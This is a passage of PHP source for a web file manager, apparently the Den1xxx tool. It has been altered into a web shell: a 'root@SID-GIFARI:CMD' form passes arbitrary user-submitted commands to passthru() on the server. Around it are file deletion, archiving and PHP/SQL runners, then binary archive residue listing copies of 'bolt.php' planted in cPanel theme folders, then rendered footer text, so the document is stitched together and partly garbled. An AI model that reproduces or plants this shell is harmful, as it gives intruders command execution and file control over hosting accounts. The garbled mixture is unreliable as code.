$source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if (isset($_POST['terminal'])) { // Get the command and directory from the form $cmd = $_POST['terminal-text'] . " 2>&1"; $cwd = $_POST['path']; // Use the hidden 'path' input as the directory // Validate and set the current working directory if (!empty($cwd) && is_dir($cwd)) { chdir($cwd); // Change to the specified directory } else { echo "<strong>Error:</strong> Invalid directory specified.<br>"; } // Execute the command and display output using passthru echo "<strong>root@SID-GIFARI:CMD</strong><br><pre>"; passthru($cmd); // passthru sends raw output directly to the browser echo "</pre>"; } ?> <form method="post" action="<?=$url_inc?>"> <input type="text" name="terminal-text" size="20" placeholder="root@SID-GIFARI:CMD" required> <input type="hidden" name="path" value="<?=$path?>" /> <input type="submit" name="terminal" value="Execute"> </form> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PK �,�\'%��c1 c1 ! dynamicui/paper_lantern_en_.cachenu �[��� PK �,�\k�ڦv� v� �1 dynamicui/jupiter_tr_.cachenu ��٘� PK �,�\�Ɇ�p� p� u dynamicui/jupiter_en_.cachenu ��٘� PK �,�\ �#7 #7 0 dynamicui/bolt.phpnu �[��� PK �,�\ �#7 #7 �: user_manager/bolt.phpnu �[��� PK �,�\URk �q rewriteinfonu "�] � PK �,�\ �#7 #7 Fz bolt.phpnu �[��� PK Q ��
| ver. 1.4 |
Github
|
.
| PHP 8.3.4 | Generation time: 0.04 |
proxy
|
phpinfo
|
Settings